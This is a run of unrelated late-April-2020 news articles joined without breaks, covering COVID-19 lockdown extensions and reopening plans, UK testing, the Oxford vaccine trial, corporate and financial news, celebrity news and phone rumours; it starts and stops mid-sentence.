exclusions were added. Though resources are scarce, why punish those who have successfully overcome their criminal record and now hire workers, pay taxes, and generate revenue and services for the American economy? The SBAs disqualifications have the potential to derail economic recovery and criminal justice reform at the same time. Sarah Lagesonis an assistant professor in the School of Criminal Justice at Rutgers University-Newark. Colleen Chien is a law professor at Santa Clara University School of Law in California. Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. The Star-Ledger/NJ.com encourages submissions of opinion. Bookmark NJ.com/Opinion. Follow us on Twitter @NJ_Opinion and on Facebook at NJ.com Opinion. Get the latest news updates right in your inbox. Subscribe to NJ.coms newsletters. Lea Michele is pregnant with her first child, People reports. Michele, 33, is expecting a baby with her husband, Zandy Reich. The Glee actress, a New York native who grew up in Tenafly, married Reich, 37, president of the clothing brand AYR, in March of 2019. Michele met Reich, who hails from Philadelphia, at her best friends wedding. They got engaged in 2018. Michele, born Lea Michele Sarfati, starred as Rachel Berry in Foxs Glee from 2009 to 2015. She went on to appear as Hester Ulrich in Scream Queens on the same network before the show was canceled in 2017. That year she also starred as Valentina Barella in The Mayor, an ABC comedy. On social media, fans noted that Michele, an alumna of Tenafly High School, is pregnant during the same year that Berry, her Glee character, was pregnant in the show. the fact that lea michele and rachel berry are both pregnant in 2020 pic.twitter.com/SAwpzdw456 defending jacob spoilers (@hsmwylie) April 27, 2020 Congrats Lea Michele you're the Gleek of the week for getting pregnant at the same time as Rachel Berry pic.twitter.com/Nvb1uhAVZi (@AishaFillion) April 27, 2020 Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. Amy Kuperinsky may be reached at akuperinsky@njadvancemedia.com. Businesses along Fillmore Street are seen boarded up in San Francisco, Calif., on April 8, 2020. (Justin Sullivan/Getty Images) 7 San Francisco Bay Area Counties Extend Shelter-In-Place Order Through May Seven San Francisco Bay Area counties will be extending shelter-in-place orders through to the end of May amid the CCP virus pandemic. Public health officers of the counties of Alameda, Contra Costa, Marin, San Francisco, San Mateo, and Santa Clara, as well as the City of Berkeley announced the extension in a joint statement on April 27, noting that while they would be issuing revised shelter-in-place orders later this week, they would largely keep the current restrictions in place and extend them through May. However, the extended orders, which were initially set to expire May 3, will include limited easing of specific restrictions for a small number of lower-risk activities, although officials stressed that prematurely lifting some restrictions could easily lead to a large surge in cases. Thanks to the collective effort and sacrifice of the 7 million residents across our jurisdictions, we have made substantial progress in slowing the spread of the novel coronavirus, ensuring our local hospitals are not overwhelmed with COVID-19 cases, and saving lives, the health officers said in a joint statement. At this stage of the pandemic, however, it is critical that our collective efforts continue so that we do not lose the progress we have achieved together. Hospitalizations have leveled, but more work is needed to safely re-open our communities. Prematurely lifting restrictions could easily lead to a large surge in cases, they added. Officials will release further details later this week, along with the updated order. Along with the revised order, health officers will also release a set of broad indicators that will be used to track progress in preparedness and response to COVID-19, the disease caused by the Chinese Communist Party (CCP) virus, commonly called novel coronavirus. They noted that future easing of restrictions requires that each jurisdiction and various sectors continue to rapidly build critical infrastructure and systems to respond to and control the spread of coronavirus infections and to ensure the health care systems ability to meet demand. Shortly after Mondays announcement, San Francisco Mayor London Breed said that extending the stay-at-home orders was one of the most difficult things she has had to do as mayor, but warned that the county is not out of the woods yet. I know that its not been easy. Weve imposed restrictions to your lives that have made things not only very difficult for you but difficult for your families, Breed said, adding that this has been the most challenging time. This has been pretty much the most difficult thing I have had to do, to ask the people of this city to basically stay at home and only leave your house for essential services or if youre an essential worker or to get fresh air and exercise. Theres a lot of uncertainty because we see the numbers (of positive COVID-19 cases) go up every day in our city, she said. We also see the number of hospitalizations and they also go up, and the good news we see they have not gone up like other places because you are all doing your part to comply, but the fact is they are still going up. Breed said that are currently 1,424 known cases of the CCP virus in San Francisco, while 23 people have died from the disease that originated in Wuhan, China, in at least December last year. A further 85 people have been hospitalised, Breed said. KAMPALA The police in Kiwatule are investigating a case of sudden death of Alliance for National Transformation (ANT) coordinator Barbara Ann Allimadi that happened on April 27 night. According to Kampala Metropolitan Police Spokesperson SP Patrick Onyango, says the case was reported by one Wakibra Harry a resident of Kiwatule at around 8pm. Its alleged that Wakibra Harry reported the discovery of a life less body of one Alimadi Ann Babra, aged 48 years, a Coordinator of Alliance for National Transformation, Foreign Envoy and a resident of Kiwatule, reads an excerpt. Mr Onyango revealed that the scene was visited by a team of detectives who examined the area and recorded statements from the witnesses around. Police preliminary findings indicates that the deceased lived alone in her own house, he said in a statement. The findings indicates that the deceased was found lying straight on her stomach with straight legs. The lying body shows she could have been in pain during her last breathe.There is no sign of struggle or injuries on the body, the police says. The body has been taken to City mortuary for postmortem as investigations continue, Mr Onyango said. Ms Allimadi, the International Affairs Secretary of the Alliance for National Transformation (ANT), was found dead in her house in Kiwatule, Kampala. She was discovered dead on Monday April 27 night. Ms Allimadi, then a member of the Forum for Democratic change is remembered for being among the leaders of a group of women, who in 2012 protested half-naked against police brutality. The women including councillor Nasasira marched to the Central Police Station in Kampala to protest against the assault of their colleague the FDC secretary for mobilization Ingrid Turinawe whose breasts were squeezed by police officers during her arrest in 2012. Related Quebec announced Tuesday its plan to reopen businesses starting next week, with many retail locations opening on May 4 and construction and manufacturing starting up on May 11. Premier Francois Legault said the number of new cases of COVID-19 has been stable for the past two weeks, excluding those in long-term care homes. Based on this, the province has decided to reopen the businesses whose closures have affected the economy the most. According to the governments website, Quebec has had close to 25,000 cases of COVID-19 to date and more than 1,500 deaths far more than any other province. Eighty-four of those deaths were announced Monday, alongside 875 new cases. Legault said progress will be monitored closely, and businesses will close again if there is a surge in the virus. Our challenge is to gradually restart the economy without restarting the pandemic, he said. Retail businesses not including stores in shopping malls with no outside entrances can open May 4, except for those in Montreal, which can reopen May 11. That includes retail supply chain businesses. All construction activity can resume May 11, but related administration work must continue to be done remotely. Manufacturing companies can resume on May 11, but with limits. Staff are limited to 50 workers plus 55 per cent of employees exceeding 50 workers. On May 25, those restrictions will be lifted. Legault announced on Monday that elementary schools and daycares outside of Montreal will begin reopening May 11 with those in the city to begin opening on May 19. Ontarios plan, announced Monday, is very different from Quebecs. As Premier Doug Ford put it, its not a calendar, its a road map, meaning there is no specific date set yet for the plan to be set in motion. Ontarios three-step plan begins with the opening of certain workplaces that have the ability to modify operations according to social distancing protocols. This would include reopening public parks, loosening restrictions around funerals, and allowing more businesses to do curbside pickup or delivery. As well, non-urgent surgeries would begin again, especially cancer surgeries. The second phase would see more businesses reopen, including retail businesses and some workplaces, as well as allowing some public gatherings. The third phase would open all workplaces and relax rules on public gatherings further, though Ford said it could be a while before the largest events, such as sporting events and concerts, would be allowed. Each stage would be two to four weeks long, depending on what the public officer of health deems appropriate based on the number of new cases. According to Anita McGahan, a professor of strategic management at the University of Torontos Rotman School of Management, the two provinces approaches reflect one difficult truth: The economy will have to reopen before a vaccine is available. This is a long-term problem, said McGahan. She said the Ontario approach is focused on medical criteria, while the Quebec approach is focused on economic relief. Each comes with its own set of risks, she said. In Ontario, the province will have to inject more money into the economy through rent relief and other help for laid-off workers and closed businesses, she said. In Quebec, reopening the economy earlier runs the risk of a surge in the virus. But if Ontarios economy is closed for too long, McGahan said people may start skirting the rules again, causing a surge in the virus. She said it may seem simple to criticize Quebec for reopening schools and some businesses earlier than Ontario, even though Quebec has by far the highest number of deaths per capita. But she said its important to remember that the news will be welcome for lower-income workers, who are feeling the economic effects of the pandemic hardest. Theres risks no matter which direction you go, she said. David Soberman, a professor of marketing at Rotman, said hes more concerned about schools reopening than businesses, especially since there is only a month and a half left until school closes for the summer. He said its much harder to keep children six feet apart than it is workers in a factory and that could put their parents, grandparents and teachers at risk. By contrast, opening retail businesses seems pretty reasonable, he said. Overall, Soberman said Ontario surprisingly, to him has been more conservative in its approach to reopening the economy than Quebec has. He said the provinces should be working together to reopen the economy not sector by sector, but municipality by municipality starting rurally, and working up to the more populous cities. With files from Canadian Press Read more about: The 15 U.S. luxury hotels supposed to be sold to Mirae Asset Global Investments from China's Anbang Insurance Group / Courtesy of Mirae Asset Global Investments By Park Jae-hyuk China's state-controlled Anbang Insurance Group has filed a lawsuit against Mirae Asset Global Investments over the Korean financial services company's failure to complete payment of $5.8 billion for its purchase of 15 luxury hotels in the United States, Mirae Asset said Tuesday. According to the company, Anbang filed the case with the Delaware Chancery Court, Monday. Mirae Asset was supposed to finish payments for the hotels in nine U.S. cities, including the Westin St. Francis in San Francisco, Loews Santa Monica Beach Hotel, JW Marriott Essex House in New York and the Four Seasons in Jackson Hole, Wyoming by April 17. It had planned to raise $1.8 billion for the deal from subsidiaries and cover the remaining $4 billion through borrowing from local investment banks. Bloomberg, however, has reported that the lender group led by Goldman Sachs has been unable to generate sufficient investor interest because of the COVID-19 pandemic's negative impact on the travel and hospitality industries. The foreign news outlet reported earlier this month that Mirae Asset had asked the Chinese insurer for more time to close the deal because the required debt financing wasn't immediately available. The Financial Times also reported that if the deal falls through, the Korean firm will lose its $600 million deposit, because the terms of its purchase agreement do not specify a pandemic as a material adverse clause that would give it flexibility in reworking or dropping the deal. Mirae Asset denied the claims it was facing difficulties in raising the money, saying the deal was postponed as the seller had failed to fulfill prerequisites. "We found out the seller was embroiled in a lawsuit with a third party, so we've continued to ask the seller for related documents, but the seller declined to offer them," a Mirae Asset official said. "We notified the seller on April 17 that we have the right to cancel the contract if the seller does not solve the problem within 15 days, so we were waiting for their response by May 2." Mirae Asset will also invest 489.9 billion won ($394 million) in Hyundai Development Company's (HDC) purchase of Asiana Airlines worth 2.5 trillion won, which is assumed to have been delayed. The financial firm was initially expected to promote synergy through its investments in the aviation and lodging industries, but that has faced setbacks due to governments closing borders and banning public gatherings in response to the coronavirus pandemic. "Sectors reliant on trade and the free movement of people such as passenger airlines, shipping, lodging and leisure, which includes cruise lines and restaurants are most exposed," Moody's Investors Service Vice President Benjamin Nelson said. Despite the growing concerns, Mirae Asset said last month that the pandemic would have a limited impact on its investment portfolio. "Since the U.S. Federal Reserve made rate cuts and decided to provide 8.5 trillion won in liquidity, the current situation is considered favorable for us to get loans," a company official said. "Hotels are blue chips, so we expect they will be assessed at their original value as time passes." Editor's Note: Get caught up in minutes with our speedy summary of today's must-read news stories and expert opinions that moved the precious metals and financial markets. Sign up here! (Kitco News) Turbulent times of first trying to sell, then downsizing its bullion desk, Canadian Bank of Nova Scotia (Scotiabank) (TSX: BNS.TO) now appears to be closing its metals business, according to Reuters. Reports came to light on Tuesday with Reuters citing two sources familiar with the matter. Scotia had a global call with all its metals staff and said it was shutting down its metals business, one source said. The plan is to unwind the metals business, said another one. The goal is to reportedly wind down all existing metals business by the beginning of 2021, the sources added. The move could mean more challenges for the gold market that has already seen a supply crunch and wide price spreads between spot and futures prices, analysts told Kitco News. The Scotiabank shuttering of its metals business is a sign of these historic times of markets upheaval. However, such is not a shock to the metals marketplace that has in recent weeks already seen many companies and mines so severely impacted by the Covid-19 pandemic, said Kitcos senior technical analyst Jim Wyckoff. From my perspective the Comex futures market has at least temporarily overshadowed the spot, or cash, gold market in terms of accurate daily price discovery, given the significant slowing of spot business and spot market-making. Thus, the gold market from a price perspective will take this news in stride, Wyckoff noted. One fear is that spot prices could become less reliable, which could be a a big hit for the gold market that has already been struggling with a wide spread between spot and futures prices due to all the logistical issues connected with all the COVID-19 shutdowns. It definitely will have an effect on price discovery. The less big banks that are participating in the metals markets, the less reliable those prices coming out of London will be, which we've already seen has been a problem in the past couple of weeks, Gainesville Coins precious metals expert Everett Millman told Kitco News on Tuesday. The problem could be made worse if more banks like this close their bullion businesses, Millman added. A lot of people are worried that Scotiabank is just going to be the first of many banks right now to kind of exit the metals business. We have to see if there's a domino effect that exacerbates the problem, he said. Another area of concern is some disruption on the client inter-phase side, said Kitco Metals global trading director Peter Hug. I would imagine Scotia has financing projects/lease agreements, metals accounts for their clients, as well as inventory financing deals with dealers. Scotia, I assume will attempt to sell these deals or handle them to maturity Clients that may need new credit facilities, with other bullion banks or mines that have financing in place may be a bit nervous and are likely already looking for new options, Hug said. The news of Scotiabank winding down its bullion desk might also add pressure to the supply side, said Sprott Inc CEO Peter Grosskopf. We were already having a tough time getting the amount of physical that we require. I think it's going to be that much harder, said Grosskopf. It's almost the opposite of what's happening in the oil market right now. Other analysts said they believe that the nature of the physical market is not going to change. RBC Wealth Management managing director George Gero said that the spot price was never really reliable because it is not liquid and it is full cash, there is no margin. Lately I've seen a number of banks move their trading departments or close their trading departments. A lot of it has to do with other things like Brexit. The problem of the traders all having to work remote from home, Gero added. The character of investments has also been changing, he noted. The problem with the trading of the gold is that it's just changed a lot. But it will not affect anything because you have more central bank business and traditionally the central bank business is in the spot market. Back in 2017, Scotiabank tried to sell ScotiaMocatta, the worlds oldest gold trader owned by Scotiabank. Unable to finalize the sale, however, Scotiabank ended up keeping its precious metals trading business but downsizing it at the beginning of 2018. Only around 15 people currently work in Scotias metals business, Reuters said. Seventy-five percent of the employees are on the precious metals side and the rest are on the industrial metals side. Just five years ago, the unit had about 140 employees with offices across the world. ScotiaMocattas history goes all the way back to 1600s when Moses Mocatta partnered with the East India Co. to ship gold to India. The operations were set up in London in 1684. In 1997, Scotiabank acquired Mocatta Bullion by purchasing it from Standard Chartered. Matt Hancock today announced coronavirus testing eligibility is being extended to include all over-65s and workers who cannot work from home - but only if they have symptoms. All asymptomatic staff and patients at hospitals and care homes will also now be able to get checked. The Health Secretary said opening up the testing regime to more people has been made possible by a dramatic increase in capacity. The UK now has the ability to test more than 73,000 people every day with the government claiming it is 'on track' to hit Mr Hancock's target of getting to 100,000 daily checks by the end of tomorrow. The offer of tests for symptomatic over-65s and to workers who have to leave the house to do their job will also apply to people living in those households. It comes after Mr Hancock made a 100 bet that he will hit his six-figure testing target on time despite the fact the number of tests being carried out continues to lag far below capacity. The latest statistics showed just 37,024 tests were carried out in the UK in the 24 hours to 9am yesterday, illustrating just how far ministers need to go to hit the 100,000 goal by close of play on Thursday. Earlier Cabinet Office Minister Michael Gove told MPs the government will publish the data relating to the testing deadline on Saturday because of of the time it takes to turn around results of home tests that were only made available online this week. England, Scotland and Wales today announced a further 586 coronavirus deaths, with the official death toll now standing at 21,678 in Britain. Health Secretary Matt Hancock this evening announced a massive expansion of the UK's coronavirus testing regime The latest Downing Street statistics show the number of new coronavirus cases has fallen for the fourth day in a row The UK's virus death rate continues to follow broadly the same trajectory as its European neighbours in France and Spain Meanwhile, the latest numbers today showed there had been a further 586 deaths in UK hospitals Access to coronavirus tests was initially restricted to patients and NHS staff. It was then rolled out to include the social care sector before being opened up to all key workers. But speaking at the daily Downing Street coronavirus press conference Mr Hancock said: Today, because we have been able to expand capacity I can expand access further. Building on successful pilots we will be rolling out testing of asymptomatic residents and staff in care homes in England and to patients and staff in the NHS. This will mean that anyone who is working or living in a care home will be able to get access to a test whether they have symptoms or not. I am determined to do everything I can to protect the most vulnerable and we now have the capacity to go further still. So from now we are making testing available to all over-65s and their households with symptoms and to all workers who would have to leave home in order to go to work and members of their households, again who have symptoms. So from construction workers to emergency plumbers, from research scientists to those in manufacturing, the expansion of access to testing will protect the most vulnerable and help keep people safe and it is possible because we have expanded capacity for testing thus far. Mr Hancock told the briefing that the government is 'on track' to hit his 100,000 daily tests target with capacity now at 73,400. The number of drive-through testing sites now stands at 41 with 48 due to be operational by the end of this week. Home testing is being expanded from 5,000 a day last Friday to 25,000 a day by the end of the week. Mobile testing facilities staffed by army personnel are also being increased. At the weekend, 17 mobile testing units manned by the army were operational,' Mr Hancock said. 'By the end of the week we plan to have over 70 deployed with trained crews right across the country. All of this has led to an increase in daily testing capacity which now stands at 73,400. This has allowed us to progressively expand access to testing.' Home-testing kits for critical workers, which can be booked on an online portal on a 'first come, first served' basis, ran out this morning for the fifth day in a row. Some 10,000 tests were scooped up within hours after they were made available at 8am this morning, including 7,000 in the first hour. None were left by 11.50am. Appearing on LBC to discuss Britain's testing operation with presenter Nick Ferrari, Mr Hancock was asked by the host if he would agree to a wager. The presenter said: 'Are you prepared to have a 100 wager, and I will never be happier to write a cheque for 100, when you deliver that 100,000 tests on May the first and the money goes to NHS charities. Are you up for the bet, Mr Hancock?' Mr Hancock tried to swerve, saying: Ive got enough riding on this already, Nick.' But eventually he agreed, insisting the money, if he won, will go to the Hospices UK charity. Matt Hancock has agreed to 100 bet with LBC presenter Nick Ferrari that the UK will meet its target of 100,000 coronavirus tests a day by the end of the month - despite not even being halfway yet. Pictured, the line shows how many people have been tested per day in the UK 22,000 of the 26,000 available drive-through testing site appointments had been booked by key workers within an hour of availability this morning, No 10 said. Pictured, a drive-in testing facility being operated by the armed forces at the Chessington World of Adventures today Asked if it was possible to meet the target of 100,000 daily tests by the end of April, Mr Hancock said it was a 'big task'. He told Mr Ferrari: 'The plan was always to have a big ramp-up at the end of April because I spent April putting in place the systems to take this from an individual lab-by-lab process hand-done to an essentially automated process with an automatic application online. 'Since that went live at the end of last week we have seen a very rapid rise. 'We're still on track but it's a big big task. There's a lot of things that we need to get right so there's no guarantees in this life but we still are on track.' He spoke before Mr Gove made a statement on coronavirus in the House of Commons. Asked about the testing target and when the results would be published, he said: 'There has been some confusion over capacity and tests administered. 'The target is tests administered and the figure for the tests administered on Thursday, which is the day that we have set for the target, will be published on Saturday.' The 100,000 tests per days covers the government's five pillars of testing, which includes patients in hospital, NHS and key workers and their household members. Testing was opened up to more than 10million key workers and their households last week. But as of 11.50am today home testing kits for England were listed as 'unavailable' on the gov.uk/coronavirus website. Some 10,000 kits were put onto the system - double that of previous days - which were all taken within hours. More than 7,000 were ordered in the first hour of availability from 8am, Downing Street said, and 22,000 of the 26,000 available drive-through testing site appointments had also been booked. Yesterday 5,000 home kits ran out 65 minutes after booking slots reopened, which was an improvement on the two minutes when the scheme launched on Friday. Dr Chaand Nagpaul, chairman of the British Medical Association (BMA) council, said yesterday that the online booking system 'offered no practical help' to healthcare workers in a blow to the Government's aim to improve accessibility. Home testing kits for NHS and critical workers have run out today after 10,000 were made available at 8am this morning. Test site appointments have run out in Wales But Mr Hancock insists the task for 100,000 tests a day is 'on track' despite scepticism from the outset. He is pictured on LBC He said the current testing capacity is 'well, well short' of the number of healthcare staff who are currently self-isolating. 'Our estimate is that there are about 90,000 health and care staff self-isolating based upon the government figures of absence rates,' he said. 'If the government wants healthcare workers to have access to the test, it has to be in the context or providing adequate capacity, not a "first come first served" and closing within an hour.' There are now 17 operational military-run mobile testing sites: Torquay, Hereford, Boston, Salisbury, Bishop Auckland, Barnet, Northampton, Grimsby, Skegness, Blackpool, Macclesfield, Ramsgate, Harwich, Barnsley, Grantham and Kendal. The government hopes to have 96 mobile testing facilities by the start of May. Timeline of the virus testing website launch FRIDAY 6am: Government's new coronavirus testing website launches 6.02am: Stock of 5,000 home kits are all ordered in just two minutes 10am: 15,000 drive-through slots are all booked as new registrations close SATURDAY 8am: More tests released on website 8.15am: All 5,000 home kits are taken 10am: No more drive-through tests available to book in England SUNDAY 8am: More tests are launched 10am: Home testing kits are again listed as 'unavailable' MONDAY 8am: Availability of home and drive-through tests goes live again 9.05am: Home tests no longer available 12pm: Only drive-through tests in England and Scotland are left TUESDAY 8am: 10,000 home tests are made available on the website 9am: More than 7,000 were ordered in the first hour of availability, Downing Street said By 8am 22,000 of the 26,000 available drive-through testing site appointments had also been booked, the Prime Ministers spokesman said Advertisement The Prime Ministers spokesman said yesterday it will be 'difficult to know' if the coronavirus testing target had been hit by Friday due to a lag in getting results back. 'For example, home testing kits can take up to 72 hours to get the results for, and therefore show up in the numbers', the spokesperson said. However, it is unclear why. Up until now, the daily test figure reported by the Department of Health and Social Care has been from 24 hours prior. For example, on Monday it reported that 37,024 tests were 'on 26 April' - the day before. Since the outbreak began, 719,910 tests have been carried out in total, around 200,000 of which were repeat tests. Of 569,768 people who have been tested, 157,149 had a positive result as of 5pm on April 26 and 21,000 have died. But the figure is thought to be more like 32,600 - 55 per cent higher than the daily Government statistics let on. Weekly data released by the Office for National Statistics today showed that deaths outside of hospitals pushed England and Wales's death toll to 22,351 for April 17, a significant rise on the 14,451 announced on that date by the Department of Health. If the same increase - 54.6 per cent - were applied to the total death toll confirmed yesterday (21,092) it could mean the real number of victims is 32,608. The latest figures from the National Records of Scotland, published last week, showed 1,616 deaths involving Covid-19 had been registered in Scotland up to April 19. And the latest figures from the Northern Ireland Statistics and Research Agency, also published last week, showed 276 deaths involving Covid-19 had been registered in Northern Ireland up to April 22. Updated figures from the National Records of Scotland are due to be published tomorrow, and from the Northern Ireland Statistics and Research Agency on Friday. Health experts are looking into reports that a coronavirus-related syndrome among children may be emerging in the UK, NHS England's national medical director has said. Professor Stephen Powis said it was "too early to say" whether there is a link between the Kawasaki-like disease and coronavirus, but chief medical officer Prof Chris Whitty said it was "entirely plausible". They have instructed medical experts to look into the potential link as a "matter of urgency". It comes after the UK Paediatric Intensive Care Society (Pics) tweeted an alert it said was from NHS England which says in the "last three weeks, there has been an apparent rise in the number of children of all ages presenting with a multi-system inflammatory state requiring intensive care across London and also in other regions of the UK". NHS England confirmed it had shared the warning through its incident teams to clinical commissioning groups and hospital trusts. The alert said the effects had been seen in children both with and without coronavirus but there was evidence that some patients had had coronavirus previously. UK Health Secretary Matt Hancock said he was "very worried" by the reports. Speaking at the daily Downing Street press conference, Prof Powis said: "We have become aware in the last few days of reports of severe illness in children which might be a Kawasaki-like disease. "I have asked the national clinical director for children and young people to look into this as a matter of urgency." He urged parents who are worried about a child who is sick and not recovering to seek medical help. Prof Whitty added: "This is a very rare situation but I think it is entirely plausible that this is caused by this virus, at least in some cases. "Because we know that in adults who of course have much more disease than children do, big problems are caused by an inflammatory process and this looks rather like an inflammatory process, a rather different one. "Therefore, the possibility - it is not a definite, we need to look for other causes as well - but the possibility that there is a link is certainly plausible." According to the alert, which was originally shared with GPs in north London, children affected display signs similar to toxic shock syndrome, a severe illness associated with infections, and have blood markers in line with severe Covid-19. They may also have abdominal pain and symptoms of inflammation around the heart. Symptoms include a high temperature that lasts for five days or more, often with a rash and/or swollen glands in the neck. Children are contracting Covid-19 at the same rate as adults but are suffering less severe symptoms on the whole. With the iPhone SE (2020) out of the way, all eyes are now firmly fixed on the launch of the Google Pixel 4a. Expected to be the next big release from the world of smartphones, the Pixel 4a is tipped to launch in the next month or two. The successor of Google's best selling smartphone, the Pixel 3a, this new smartphone is expected to be modeled on the Pixel 4 in terms of design and much of the specs. However, there will be key differences that will help set the budget offering apart from the flagship Pixel 4. Thanks to the leaks and rumors which have been coming in steadily over the past few weeks, we already know what these key differences could be. Let's take a look at the available information to find out what the Pixel 4a could be like upon its launch. Pixel 4a: Expected price Over the last few weeks, there have been a number of leaks that have talkied about the pricing of the Pixel 4a. With only a few weeks to go for its rumoured launch, some have started claiming that the Pixel 4a could start at $400 to maintain the price point set by the previous generation Pixel A series smartphone. In India, this should translate to the Pixel 4a selling at a similar price point as last year. However, some leaks have suggested that there might be a 128GB storage configuration available as well, which could be slightly more expensive than the Rs 39,999 price of the Pixel 3a from last year. Pixel 4a: Expected design Ahead of the Pixel 4a's launch, we seen the phone being leaked a number of times. The leaks have pretty much revealed all about the design. The recent leaks, including a hands on video of the phone, leaked live images have revealed in detail the Pixel 4a's design. From the leaked videos and images, we can tell that the Pixel 4a could come with curved edges with thin bezels on it. There is a punch-hole design on the display with a single front-facing camera. The back has a squarish camera bump with a single camera and an LED flash, positioned diagonally inside the module. At the center of the smartphone is a circular fingerprint sensor, leading us to believe that Google might skip face unlock on the Pixel 4a. Pixel 4a: Expected specifications There has also been a lot of chatter about the internals of the Pixel 4a, with leaks also revealing key details about the hardware the phone could come packing upon its launch. While there are some conflicting reports, most claim the Pixel 4a could be powered by a mid-range Qualcomm Snapdragon 730 chipset paired with 6GB of RAM and 128GB of storage. The phone is likely to feature a 5.81-inch OLED display with an FHD+ resolution of 2340 x 1080 pixel and a refresh rate of 60Hz. To keep the phone running, Google is tipped to equip the Pixel 4a with a 3,080mAh battery with support for 18W USB Type-C fast charging. However, the phone will miss out on wireless charging. Pixel 4a: Features The phone has been repeatedly tipped to not bring features such as Face Unlock with itself. As per the leaked images we've seen over the past few weeks, the phone could instead just go for a capacitive fingerprint scanner at the back. If this happens, it will all but mean that the phone will skip on Face Unlock tech. But on the other hand, it should get the Now Playing feature and the new Google Assistant. And considering it's a Pixel smartphone, Google should also bring some of its most loved camera features to the device. Immunity in monkeys is no guarantee that a vaccine will provide the same degree of protection for humans. A Chinese company that recently started a clinical trial with 144 participants, SinoVac, has also said that its vaccine was effective in rhesus macaques. But with dozens of efforts now underway to find a vaccine, the monkey results are the latest indication that Oxford's accelerated venture is emerging as a bellwether. Loading "It is a very, very fast clinical program," said Emilio Emini, a director of the vaccine program at the Bill and Melinda Gates Foundation, which is providing financial support to many competing efforts. Which potential vaccine will emerge from the scramble as the most successful is impossible to know until clinical trial data becomes available. More than one vaccine would be needed in any case, Emini argued. Some may work more effectively than others in groups like children or older people, or at different costs and dosages. Having more than one variety of vaccine in production will also help avoid bottlenecks in manufacturing, he said. But as the first to reach such a relatively large scale, the Oxford trial, even if it fails, will provide lessons about the nature of the coronavirus and about the immune system's responses that can inform governments, donors, drug companies and other scientists hunting for a vaccine. Loading "This big UK study," Emini said, "is actually going to translate to learning a lot about some of the others as well." All the others will face the same challenges, including obtaining millions of dollars in funding, persuading regulators to approve human tests, demonstrating a vaccine's safety and after all of that proving its effectiveness in protecting people from the coronavirus. Paradoxically, the growing success of efforts to contain the spread of COVID-19, the disease caused by the virus, may present yet another hurdle. "We're the only people in the country who want the number of new infections to stay up for another few weeks, so we can test our vaccine," professor Adrian Hill, the Jenner Institute's director and one of five researchers involved in the effort, said in an interview in a laboratory building emptied by Britain's month-long lockdown. Ethics rules, as a general principle, forbid seeking to infect human test participants with a serious disease. That means the only way to prove that a vaccine works is to inoculate people in a place where the virus spreading naturally around them. If social distancing measures or other factors continue to slow the rate of new infections in Britain, he said, the trial might not be able to show that the vaccine makes a difference. Participants who received a placebo might not be infected any more frequently than those who have been given the vaccine. The scientists would have to try again elsewhere, a dilemma that every other vaccine effort will face as well. The Jenner Institute's effort against the coronavirus uses a technology that centres on altering the genetic code of a familiar virus. A classic vaccine uses a weakened version of a virus to trigger an immune response. But in the technology that the institute is using, a different virus is modified first to neutralise its effects and then to make it mimic a targeted virus in this case, the virus that causes COVID-19. Injected into the bloodstream, the harmless impostor can induce the immune system to fight and kill the targeted disease, providing protection. Hill has worked with that technology for decades to try to tweak a respiratory virus found in chimpanzees to elicit a human immune response against malaria and other diseases. Over the last 20 years, the institute has conducted more than 70 clinical trials of potential vaccines against the parasite that causes malaria. None have yet yielded a successful inoculation. In 2014, however, a vaccine based on the chimp virus that Hill had tested was manufactured in a large enough scale to provide 1 million doses. That created a template for mass production of the coronavirus vaccine, should it prove effective. A longtime colleague, Professor Sarah Gilbert, 58, modified the same chimpanzee virus to make a vaccine against an earlier coronavirus, Middle East respiratory syndrome. Loading After a clinical trial in Britain demonstrated its safety, another test began in December in Saudi Arabia, where outbreaks of the deadly disease are still common. When she heard in January that Chinese scientists had identified the genetic code of a mysterious virus in Wuhan, she thought she might have a chance to prove the speed and versatility of their approach. "We thought, 'Well, should we have a go?'" she recalled. "'It'll be a little lab project, and we'll publish a paper.'" It did not stay a "little lab project" for long. As the pandemic exploded, grant money poured in. All other vaccines were soon put into the freezer so that the institute's laboratory could focus full-time on COVID-19. Then the lockdown forced everyone not working on COVID-19 to stay home altogether. Donors are currently spending tens of millions of dollars to start the manufacturing process at facilities in Britain and the Netherlands even before the vaccine is proven to work, said Sandy Douglas, 37, a doctor at Oxford overseeing vaccine production. "There is no alternative," he said. But the team has not yet reached an agreement with a North American manufacturer, in part because the major pharmaceutical companies there typically demand exclusive worldwide rights before investing in a potential medicine. "I personally don't believe that in a time of pandemic there should be exclusive licenses," Hill said. "So we are asking a lot of them. Nobody is going to make a lot of money off this." Armed with safety data from their human trials of similar vaccines for Ebola, MERS and malaria, though, the scientists at Oxford's institute persuaded British regulators to allow unusually accelerated trials while the epidemic is still hot around them. The institute last week began a Phase I clinical trial involving 1100 people. Crucially, next month it will begin a combined Phase II and Phase III trial involving another 5000. Unlike any other vaccine project now underway, that trial is designed to prove effectiveness as well as safety. The scientists would declare victory if as many as a dozen participants who are given a placebo become sick with COVID-19 compared with only one or two who receive the inoculation. "Then we have a party and tell the world," Hill said. Everyone who had received only the placebo would also be vaccinated immediately. If too few participants are infected in Britain, the institute is planning other trials where the coronavirus may still be spreading, possibly in Africa or India. One of the biggest challenges for the Border Roads Organisation is to arrange a large labour force to carry out construction of key roads and tunnels in far-flung areas as the coronavirus disease (Covid-19) sweeps through the country, BRO chief Lieutenant General Harpal Singh told Hindustan Times on Tuesday. The foremost challenge facing the BRO is to induct up to 40,000 workers into sites in forward areas after the recent opening of passes. We are talking about migrant workers who play an important role in our construction projects. We are looking at how to make this workforce available at the earliest keeping the challenges posed by the pandemic in mind, Singh said. The BROs peak working season extends from May to November. Migrant workers are a key part of the BROs workforce involved in building strategic roads, along the countrys northern border with China, scattered across Arunachal Pradesh, Jammu and Kashmir, Sikkim, Uttarakhand and Himachal Pradesh. The BRO plans to complete all 61 strategic roads assigned to it along the China border by December 2022. The roads are being built to allow swifter mobilisation of troops and stores to forward areas. Singh said the BRO was on course to meeting the December 2022 deadline for building the strategic roads but admitted that accomplishing targets was extremely challenging because of the restrictions imposed to slow down the spread of the disease. The challenges get compounded by the limited working season before the onset of snow. We also have to deal with the monsoon. However, we have institutionalised measures to work through the pandemic so that out plans are not affected, Singh said. The BRO employs a labour force of around 100,000 workers for its various construction projects. Of this, around 60,000 workers are employed locally and the rest of the requirement is met through hiring migrant labour. With less than a few hours of notice, thousands of migrant workers were caught in a countrywide lockdown enforced on March 24 and extended until May 3. One of the top priorities is to ensure that the virus does not infect the workforce and in case it does, we should be able to mitigate its spread, the BRO chief said. Despite the challenges posed by 